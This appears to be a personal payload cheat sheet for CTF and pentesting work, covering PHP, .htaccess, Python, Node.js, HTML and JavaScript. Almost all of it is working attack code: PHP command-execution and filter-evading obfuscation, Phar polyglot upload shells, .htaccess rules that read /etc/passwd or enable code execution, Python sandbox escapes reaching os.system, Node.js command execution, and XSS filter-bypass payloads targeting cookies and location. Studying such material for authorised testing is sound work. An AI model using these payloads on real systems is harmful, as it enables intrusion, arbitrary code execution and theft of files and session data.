Exploitation Payloads

PayloadsAllTheThings is the way to go, but I noted down some of mine.


Shell

Shell โ€” Blind PoC

To see if your code is executed in a (semi) blind context:

$ ping -c 1 HOST_IP # execute by target
$ sudo tcpdump -i tun0 icmp # see if you got ping

PHP

PHP โ€” POC

We often run phpinfo to get information.

<?php phpinfo() ?>

We may also want some additional information:

<?php echo "Current directory: " . getcwd(); ?>

PHP โ€” Execute Shell Commands

Refer to webshells#php. Special mention to the passthru function as it can be called without echo while still displaying the results.


PHP โ€” Directory Listing

A few different ways to achieve the same output. If you cannot use a loop, simply print the array values one by one using $xxx[0], etc.

<?php
var_dump(scandir("."));

$files = scandir(".");
foreach ($files as $file) { echo $file; }

$dir=dir('.');
while ($f = $dir->read()) { echo $f; }

$dir = opendir(".");
while($f = readdir($dir)) { echo $f; }

PHP โ€” Read a file

There are multiple functions you might use:

<?php
$fileContents = file_get_contents('index.php');
$fileContents = show_source('index.php', true);
$fileContents = highlight_file('index.php', true);
$fileContents = readfile('index.php');
$fileContents = fread(fopen('test.php', 'r'), 4096);
$fileContents = file('eval.php')[0]; // line by line
echo $fileContents;
?>

Base64 encoding is not always necessary, especially with show_source.

$fileContents = base64_encode($fileContents);

PHP โ€” Write a file

There are multiple functions you might use:

file_put_contents('/tmp/poc', base64_decode('...')); 

You may have to change the permissions:

chmod('/tmp/poc', 0777);

PHP โ€” Catch Requests

Decode zlib compressed and base64 encoded payload.

$p=str_replace(" ", "+", $_GET['p']);
$r=zlib_decode(base64_decode($p));
file_put_contents('requests.txt', "Request:\n$r\n", FILE_APPEND | LOCK_EX);
$f = fopen('requests.txt', 'a');
fwrite($f, $_GET['p'] . "\n");
fclose($f);
if ($_SERVER["REQUEST_METHOD"] === "POST") {} // ...

PHP โ€” Obfuscation

php_eval php_eval_advanced_filters_bypass

We may have to create innovative payloads due to input being filtered. PHP doesn't much room for that.

  • PHP String Function Names
'var_dump'('5');
('var'.'_dump')('5');
$f = 'var'.'_dump'; $f('5');
  • PHP Octal Strings

You can copy-paste and use this _php_octal Python Function to get octal representation of your PHP code.

print(_php_octal('(system)("whoami")'))
# Output: ("\163\171\163\164\145\155")("\167\150\157\141\155\151")
# Alternative: $f = "\163\171\163\164\145\155"; $f("\167\150\157\141\155\151");

โš ๏ธ Firstly, function name must be wrapped in parentheses or stored in a variable. Secondly, it only works with double quotes.

  • PHP Base 36 or chr: payloads without quotes

If you can use chr(number) then there is nothing more to say.

Otherwise,there are plenty of ways to get some characters. For instance: (pi().pi())[1] === "." or microtime()[10] === " ". More generically, concatenation converts anything to a string.

Refer to this _php_base_convert Python Function:

payload = '(system)("whoami")'
print(_php_base_convert(payload))
# Output: (base_convert(1751504350,10,36))(base_convert(1964604618,10,36))

You can also use PHP and manually craft the payload:

echo base_convert('system', 36, 10); // 1751504350
echo base_convert('whoami', 36, 10); // 1964604618
  • PHP Introspection, such as to avoid using $
var_dump(get_declared_classes());     // ex: for insecure deserialization
var_dump(get_declared_interfaces());  // ex: for insecure deserialization
var_dump(get_declared_traits());      // ex: for insecure deserialization
var_dump(get_defined_functions());    // ex: for insecure deserialization
var_dump(get_defined_vars());         // ex: can access vars using a string, 
                                      // e.g. get_defined_vars()['_SERVER'] instead of $_SERVER
var_dump(get_defined_constants());    // ex: can access constants using a string
var_dump(apache_getenv('SECRET')); // same as $_SERVER['SECRET']

PHP โ€” Random

Utilities

putenv('LD_PRELOAD=/path/to/xxx.so');
call_user_func('function_name', 'arg1');
register_shutdown_function('var_dump', 'Hello, World!');

Phar

file_upload_polyglot

Simply zipping the PHP may work. Otherwise, you can use:

<?php // Run 'php --define phar.readonly=0 gen.php'
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.php', '<?php /*code*/ ?>');
// or: $phar->addFile('shell.php', 'shell.php');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();

โžก๏ธ shell.php is the file inside the archive.

To create a Polyglot Phar (Ex: JPG with \xff\xd8 and \xff\xd9)

<?php // php --define phar.readonly=0 gen.php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.php', '<?php /*code*/ ?>');
$phar->setStub("\xff\xd8\xff\xd9\n<?php __HALT_COMPILER(); ?>");
$phar->stopBuffering();

๐Ÿ“š For reference, include 'phar://./shell.phar/shell.php';


.htaccess

htaccess files may be exploited to perform multiple attacks such as:

  • ๐Ÿ—ƒ๏ธ Server Information Disclosure
  • ๐Ÿ—บ๏ธ Source Code Disclosure
  • ๐Ÿ“š File Reading
  • ๐ŸŽฃ Open Redirect
  • ๐Ÿค– Remote Code Execution
  • ...

htaccess โ€” Server Information Disclosure

php_apache_configuration

These handler can expose sensitive information about the server.

SetHandler server-info
SetHandler server-status # Last URLs fetched, PIDs, Version, VHost

htaccess โ€” File Reading

php_apache_configuration

If mod_layout is present, you can append a file to any request.

AddOutputFilter LAYOUT .htaccess
<IfModule mod_layout.c>
	LayoutFooter /etc/passwd
</IfModule>

ErrorDocument is always available and can be used to read files:

ErrorDocument 404 %{file:/etc/passwd}

htaccess โ€” Remote Code Execution

php_apache_configuration

If PHP is available, you can execute code:

php_flag engine on
SetHandler application/x-httpd-php
SetHandler application/x-httpd-php .jpg

Not tested, but SSI may be possible too:

AddType text/html .xxx
AddHandler server-parsed .xxx

Python

Python โ€” Execute Shell Commands

Simple python code to run a command.

import os;os.system('ls -1a');
import os;os.popen("ls -1a").read();
import subprocess; subprocess.run(['ls', '-1a']);
import subprocess;print(subprocess.run("whoami", shell=True, stdout=subprocess.PIPE, text=True).stdout)

Python โ€” Obfuscation

A few utilities to bypass filters:

  • chr(i) such as chr(46) for .
','.join([f'ch({ord(c)})' for c in 'whoami'])
  • Alternative characters: glo๏ฝ‚als(), ๐˜ฆ๐˜น๐˜ฆ๐˜ค, ๐™š๐“๐“ฎ๐˜ค
  • Alternative characters: ItalicTextGenerator

Python โ€” Utilities

For base64 + URL encoding: base64.urlsafe_b64encode(payload).


Python โ€” Filter Bypass

python_jail_exec

Aside from ( and ), there are always one or two alternative syntaxes to perform the same action in Python, often resulting in larger payloads.

Replace is only called once, so you can just anticipate and add one more char. Strip only remove the leading/trailing chars.

def foo():
    pass

class Bar:
    def __init__(self):
        self.dummy = 42

bar = Bar()
# Object properties can be accessed with __dict__, '.', and 'getattr'
print(bar.dummy)
print(getattr(bar, 'dummy'))
print(bar.__dict__['dummy'])
print(bar.__getattribute__('dummy'))
# Function properties can be accessed with '.' and 'getattr'
print(foo.__globals__)
print(getattr(foo, '__globals__'))
print(foo.__getattribute__('__globals__'))
# Many attributes, such as __globals__ or __dict__ are dict()
# We can access their values using multiple syntaxes
x = {'flag': 'value'}
flag = x['flag']
flag = x[list(x)[0]]
flag = x.get('flag')
# There are multiple paths to __globals__
# Which contains imported modules and builtins
#
# When accessing the __globals__ of an element inside another
# module, you can access the modules they imported (os, etc.)
lglobals = globals()
lglobals = foo.__globals__
lglobals = bar.__init__.__globals__
lglobals = bar.__init__.func_globals # Python 2
# Builtins can be used to import modules
lbuiltins =__builtins__
lbuiltins = foo.__builtins__
lbuiltins = lglobals['__builtins__'] # lglobals is a dict()

os = __import__('os')
os = lbuiltins.__import__('os')
os = lglobals['os'] # if imported in the global context
# There are multiple ways to achieve the same thing
os.system('whoami')
os.system.__call__('whoami')
os.system.__call__(chr(119)+chr(104)+chr(111)+chr(97)+chr(109)+chr(105))
os.system.__call__(str().join([chr(119),chr(104),chr(111),chr(97),chr(109),chr(105)]))
os.__dict__['system']('whoami')
getattr(os, 'system')('whoami')
# Python supports unicode characters in strings
print(f"\\u{ord('s'):04x}") # output: \u0073
print("\u0073")             # output: s

import importlib; b64 = importlib.import_module("\u0062\u0061\u0073\u006564") # base64

Python Programs (Inliners)

Alternative to ip a in Python:

$ python3 -c 'import socket, fcntl, struct; sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM); get_ip = lambda interface: socket.inet_ntoa(fcntl.ioctl(sock.fileno(), 0x8915, struct.pack("256s", bytes(interface[:15], "utf-8")))[20:24]); interfaces = [(i[1], get_ip(i[1])) for i in socket.if_nameindex()]; print(interfaces)'

TCP Port Scan in Python:

$ python3 -c 'import socket; host = "127.0.0.1"; open_ports = [port for port in range(1, 65535) if socket.socket(socket.AF_INET, socket.SOCK_STREAM).connect_ex((host, port)) == 0]; print(open_ports if open_ports else "No open ports found on {}.".format(host))'

Python โ€” Deep Introspection

python_jail_exec

Abusing introspection, we may be able to access any imported class and maybe import new ones too. It's complex as indexes are not fixed.

Find: [aclass.__name__ for aclass in current_parent].index('current_class_you_are_looking_for')
Example: [aclass.__name__ for aclass in ().__class__.__base__.__subclasses__()].index('_IOBase')
Example: [aclass.__name__ for aclass in ().__class__.mro()[-1].__subclasses__()].index('_IOBase')
Python 2.7: { file = 40, catch_warnings = 59 }
Python 3.5: { _IOBase = 96, _RawIOBase = 0, FileIO = 0, Popen = -1 }
Python 3.10: { _IOBase = 111, _RawIOBase = 0, FileIO = 0, Popen = -1 }
Python 3.11.8: {_IOBase = 114, _RawIOBase = 1, FileIO = 0, Popen = -1 }
Python 3.11.9: {_IOBase = 115, _RawIOBase = 1, FileIO = 0, BlockFinder = 217, Popen = -1 }

A few commands to learn more about your environment:

globals()     # global symbols (variables, functions)
locals()      # local symbols (function, method, block)
vars()        # without any argument, same as 'locals'
__builtins__.__dict__
import builtins; builtins.__dict__       # builtins
import keyword; print(keyword.kwlist)    # keywords
import string; print(string.punctuation) # symbols
local_builtins = ().__class__.__base__.__subclasses__()[59]()._module.__builtins__ # Python2

Access the open builtins function:

open = __builtins__.__dict__['open']
open = ().__class__.__base__.__subclasses__()[40] # Python 2
open = ().__class__.__base__.__subclasses__()[114].__subclasses__()[1].__subclasses__()[0] # Python 3

Accessing the os module from another module import it:

os = __builtins__.__dict__['__import__']('os')
os = ().__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].os  # Python2
os = ().__class__.__base__.__subclasses__()[217].__init__.__globals__['os']  # Python3

You can use this short snippet to find such modules:

for i, aclass in enumerate(().__class__.__base__.__subclasses__()):
    if (not hasattr(aclass, '__init__') or not hasattr(aclass.__init__, '__globals__')
            or not aclass.__init__.__globals__):
        continue
    if 'os' in list(aclass.__init__.__globals__):
        print("Found at ", i)

Python โ€” Frame/Code Introspection

dissecting_python_objects python_pyjail_1

You can use the code or frame attribute for analysis.

def secret(y = 5):
    """This code is secret"""
    flag = b'flag{you_found_me}'


def main():
    """Your code"""
    print(secret.__code__.co_consts)
    print(__import__('inspect').currentframe().f_globals['secret'].__code__.co_consts)

main()
code = secret.__code__
code = secret.func_code # only in Python 2
code.co_consts   # ('This code is secret', b'flag{you_found_me}', None)
code.co_names    # ()
code.co_varnames # flag
code.co_cellvars # () | no external variables

Node.js

Node.js โ€” Read Files

Read the source code of the main script:

require('fs').readFileSync(process.argv[1])

Node.js โ€” Execute Commands

You can use execSync or exec which is async and using a callback.

require('child_process').execSync('cat /etc/passwd')

Node.js โ€” HTTP Server

...

Node.js โ€” HTTP Requests

For get requests, we can use relatively short payloads:

require('http').get('URL?arg='+url_encoded_value);

Node.js โ€” Encoding/Decoding utilities

// Base64 Encode
const encodedData = Buffer.from(data).toString('base64');
const decodedData = Buffer.from(encodedData, 'base64').toString('utf-8');
// URL Encode
const urlEncodedString = encodeURIComponent(data);

HTML

HTML โ€” Tags/Attributes Filtering Bypass

xssgi xss csp_bypass_inline_code xss_stored_filter_bypass

Many filtering functions will only process the text once. If we know that a specific pattern or keyword is filtered, we can use a payload that works after being filtered. If there is a filter removing <script>:

  • Payload: <s<script>cript>alert('XSS');</s<script>cript>
  • Payload Filtered: <script>alert('XSS');</script>

You can also try variants if the filter is case-sensitive:

<scIpT>alert('XSS');</scIpT> <!-- script filtered -->
<img src="" ONERROR="alert('XSS')" /> <!-- onerror filtered -->

Not all tags may be banned. Try: a, img, button, object, svg, etc.


HTML โ€” Attribute Value Filtering Bypass

xssgi xss csp_bypass_nonce xss_stored_filter_bypass xss_dom_based

If we are within an HTML attribute, we can use unicode. Refer to JavaScript Word Filtering Bypass for more payloads.

<img src="NOT_FOUND" onerror=&quot;alert&lpar;5&rpar;&quot;>
<img src="NOT_FOUND" onerror=&#X61;&#X6C;&#X65;&#X72;&#X74;('XSS')>
Payload Encoding Using JavaScript

Usage: convert to HTML unicode.

function encodeString(str) {
    var encoded = '';
    for (var i = 0; i < str.length; i++) {
        encoded += '&#' + str.charCodeAt(i) + ';';
    }
    return encoded;
}

HTML โ€” Character Filtering

xss_stored_filter_bypass

  • You can use slashes instead of spaces:
<button/autofocus/onfocus=[...]>
<image/src/onerror=console.log(8)>
<img/src/onerror=console.log(8)>
  • If < and > are filtered, use DOM attributes such as onerror, etc.
-"><script>alert(1)</script>
+" onerror=alert(1) x="
  • If http/https is filtered, simply remove it
-[...] href="https://example.com" [...]
+[...] href="//example.com" [...]

JavaScript

JavaScript โ€” Word Filtering Bypass

xssgi xss csp_bypass_nonce xss_stored_filter_bypass xss_dom_based

Refer to HTML Attribute Value Filtering Bypass for more payloads. The payloads below can be used within a script or an HTML attribute.

\u0061lert('XSS')         // Unicode Bypass
eval('aler'+'t')('XSS')   // Eval Bypass (with/without '+')
eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))
eval(atob('YWxlcnQoJ1hTUycp'))
eval(decodeURIComponent(location.hash)) // Provide #alert(1)
eval(unescape(location.hash))           // Provide #alert(1)

If btoa is banned and you want to extract values with weird characters, maybe you could use payload.replace(/<[^>]+>|\n|\t/g, "").

Payload Encoding Using JavaScript

Usage: convert text for usage with String.fromCharCode.

// stringToCharCodeArray("alert('XSS')")
function stringToCharCodeArray(str) {
  var charCodes = [];
  for (var i = 0; i < str.length; i++) {
    charCodes.push(str.charCodeAt(i));
  }
  return charCodes.join(",");
}

Usage: convert string to an unicode-encoded string.

// console.log(convertToUnicode("alert('XSS')")); 
// \u0061\u006c\u0065\u0072\u0074('\u0058\u0053\u0053')
function convertToUnicode(str) {
  var unicodeStr = "";
  for (var i = 0; i < str.length; i++) {
    let char = str[i];
    if (['(', ')', "'"].includes(char)) {
        unicodeStr += char;
    } else {
        unicodeStr += "\\u" +  str.charCodeAt(i).toString(16).padStart(4, '0');
    }
  }
  return unicodeStr
}

JavaScript โ€” HTML objects

In many payloads, we want to access location and document.cookie. They are often banned keywords. Tricks for words still apply.

\u006Cocation                            // Unicode Bypass
document["location"], window["document"] // String/Array Access
window.document.location                 // Property Access (often banned)
window == self == this == top == [...]   // Window as multiple "aliases"

There are multiple ways to change the location:

location = "" // or location.href = ""
location.assign("")
location.replace(...)

You can access HTML tags, such as to change a tag src value, using:

document.all             // access HTML elements by index
document.all[5].src = "" // If [5] is a <link>/etc. 

๐Ÿ“š Don't forget that you may be able to use jQuery.


JavaScript โ€” Function Override

First, assume we have a class defined before we inject our payload.

class Foo { bar() { return 5 } }

When can override it using:

Foo.prototype.bar = () => 6 // bar() returns 6
Foo.prototype.bar = Number.isNaN // bar() returns false
Foo.prototype.bar = {Number:isNaN}.Number // bar() returns true

You can do the same for one specific instance:

const x = {} 
x.toString()             // "[object Object]" 
x.toString = () => { return 6 }
x.toString()             // 6

JavaScript โ€” String Filtering

xss_dom_based

-"toto"
-'toto'
+`toto`
+/toto/                         // can be used as if
+/toto/.source + /tata/.source  // must extract to concatenate
+x=document.href; a=x[0]+[...]  // reuse characters

๐Ÿ“š You don't need to quote numbers: ("" + 22) == "22".


JavaScript โ€” Character Filtering

xssgi xss xss_dom_based_filters_bypass xss_stored_filter_bypass xss_dom_based csp_bypass_inline_code

  • You do not need to declare variables with let/var
-let x = 5
+x=5
  • You can use comments instead of whitespaces
new/**/Object
  • If http/https is filtered, simply remove it
-fetch("https://example.com")
+fetch("//example.com")
  • There is no need to add parentheses when creating an object
-new Bar()
+new Bar
+new String // Another way to get an empty string
  • If semicolon is filtered, we can use newlines (%0A), and datastructures such as arrays or objects.
-expr1;expr2
+expr1
+expr2
-let url=document.location; console.log(url)
+[url=document.location,console.log(url)]
+_={_:url=document.location,_:console.log(url)}
  • You do not need braces to create a function
-(function () { console.log(0); console.log(1)  })()
+(new Function("console.log(0); console.log(1)"))()
+(() => [console.log(0), console.log(1)])()
  • You can use braces as an alternative to dot
-document.location
+document["location"]